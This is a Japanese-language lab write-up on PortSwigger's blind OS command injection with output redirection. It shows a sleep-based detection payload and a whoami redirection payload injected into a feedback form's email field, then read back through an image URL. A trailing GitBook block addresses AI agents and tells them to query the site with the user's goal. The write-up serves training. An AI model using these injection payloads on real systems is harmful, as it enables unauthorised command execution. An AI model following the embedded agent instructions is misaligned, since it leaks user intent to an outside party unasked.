> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# 出力リダイレクトを伴うブラインドOSコマンドインジェクション

PortSwigger Web Security Academy のラボ向けメモ。出力リダイレクトを伴うブラインドOSコマンドインジェクションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 出力リダイレクトを伴うブラインドOSコマンドインジェクション

#### ラボの説明

* このアプリケーションにはシステムコマンドのインジェクションに対する脆弱性があります **ブラインド** フィードバック機能において。
* ユーザー入力データがサーバー側のシェルコマンドに注入されます。
* このコマンドの出力は、HTTPレスポンスで\*\*直接返されません\*\*。
* ただし、書き込み可能なアクセス先があります:/ `/var/www/images/`
* アプリケーションは、このディレクトリから生成されたカタログ画像を提供します。
* したがって、 **出力を** このフォルダ内のファイルにリダイレクトし、その後画像読み込みURL経由でそのファイルを読み取ることができます。

**ラボの目的:** 次を実行し、 `whoami` コマンドの出力を取得する。

```bash
;sleep 10;
```

#### インジェクション検出（時間遅延）

フィードバックフォームが使用されます。 / その **email** フィールドには脆弱性があります。遅延を注入すると、レスポンスに約10秒かかります。

次のペイロードを `email` フィールドに注入:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

10秒の遅延が、インジェクションを確認します。

#### 出力リダイレクトによる操作

目的: 次の出力をリダイレクトする `whoami` を次の場所のファイルへ `/var/www/images/`.

次のペイロードを `email` フィールドに注入:

```
;whoami > /var/www/images/test.txt;
```

リクエストボディの例:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

このコマンドは次の `test.txt` ファイルを、Webからアクセス可能なディレクトリ内に作成（または上書き）します。

```bash
/image?filename=test.txt
```

#### 結果の取得

の出力を読み取るには `whoami` ファイルに保存されたものは、画像フォルダ内のファイルを提供するURLを呼び出します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
